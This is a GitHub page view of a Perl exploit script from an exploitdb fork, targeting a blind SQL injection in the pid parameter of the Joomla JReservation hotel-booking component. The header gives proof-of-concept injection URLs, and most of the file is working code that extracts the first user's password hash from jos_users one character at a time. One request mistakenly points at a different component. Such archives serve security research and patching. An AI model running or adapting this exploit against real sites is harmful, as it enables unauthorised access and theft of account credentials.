forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path10016.pl
More file actions
executable file
·149 lines (104 loc) · 5.17 KB
/
Copy path10016.pl
File metadata and controls
executable file
·149 lines (104 loc) · 5.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/perl -w
#---------------------------------------------------------------------------------
#joomla component com_jreservation (pid) Blind SQL Injection Vulnerability
#---------------------------------------------------------------------------------
#Author : Chip D3 Bi0s
#Group : LatiHackTeam
#Email : chipdebios[alt+64]gmail.com
#Date : 17 September 2009
#Critical Lvl : Moderate
#Impact : Exposure of sensitive information
#Where : From Remote
#---------------------------------------------------------------------------
#Affected software description:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#Application : JReservation Hotel Booking Component
#version : 1.5
#Developer : Can & Will
#License : GPL type : Commercial
#Date Added : 15 September 2009
#Demo : http://jforjoomla.com/cd-hotel
#Download : http://www.jforjoomla.com/Download-document.html?gid=47
#Description :
#Joomla 1.5 Jreservation Component for hotel booking system.
#Jreservation is a specially designed component for hotel owners who provides lodging
#facility & online booking for the rooms like deluxe, Air conditioned, Non Air conditioned.
#By using this Joomla 1.5 Jreservation component you can add multiple room types, amenity
#types like room amenity or property amenity. Amenity are like additional services which the
#hotel owner provides with the room e.g. Telephone, internet connection, cable connection and
#property amenity like swimming pool, gym, etc. With the help of a calender the user or a
#customer of the hotel can check rooms availability also book room as a provisional booking.
#---------------------------------------------------------------------------
#I.Blind SQL injection (pid)
#Poc/Exploit:
#~~~~~~~~~~~
#http://www.example.com/[path]/index.php?option=com_jreservation&task=propertycpanel&pid=X[blind]
#X: Valid pip
#Demo Live:
#~~~~~~~~~
#http://www.example.com/cd-hotel/index.php?option=com_jreservation&task=propertycpanel&pid=1+and+1=1
#etc, etc...
#+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
#+++++++++++++++++++++++++++++++++++++++
use LWP::UserAgent;
use Benchmark;
my $t1 = new Benchmark;
print "\t\t------------------------------------------------------------\n\n";
print "\t\t | Chip d3 Bi0s | \n\n";
print "\t\t JReservation Hotel Booking Component \n\n";
print "\t\t Joomla Component com_jreservation (pid) BSQL \n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "http://localhost/Path : ";chomp(my $target=<STDIN>);
print " [-] Introduce pid : ";chomp($z=<STDIN>);
print " [-] Introduce coincidencia : ";chomp($w=<STDIN>);
$column_name="concat(password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
print "----------------Inyectando----------------\n";
#es Vulnerable?
$host = $target . "/index.php?option=com_jreservation&task=propertycpanel&pid=".$z."+and+1=1";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
if ($content =~ /$regexp/) {
$host = $target . "/index.php?option=com_jlord_rss&task=feed&id=".$z."+and+1=2";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
if ($content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}
else
{print " [-] Vulnerable :)\n";
for ($x=1;$x<=32;$x++)
{
$host = $target . "/index.php?option=com_jreservation&task=propertycpanel&pid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))>57";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
print " [!] ";if($x <= 9 ) {print "0$x";}else{print $x;}#para alininear 0..9 con los 10-32
if ($content =~ /$regexp/)
{
for ($c=97;$c<=102;$c++)
{
$host = $target . "/index.php?option=com_jreservation&task=propertycpanel&pid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;
if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=102;}
}
}
else
{
for ($c=48;$c<=57;$c++)
{
$host = $target . "/index.php?option=com_jreservation&task=propertycpanel&pid=".$z."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;
if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=57;}
}
}
}
print " [+] Password :"." ".join('', @caracter) . "\n";
my $t2 = new Benchmark;
my $tt = timediff($t2, $t1);
print "El script tomo:",timestr($tt),"\n";
}
}
else
{print " [-] Exploit Fallo :(\n";}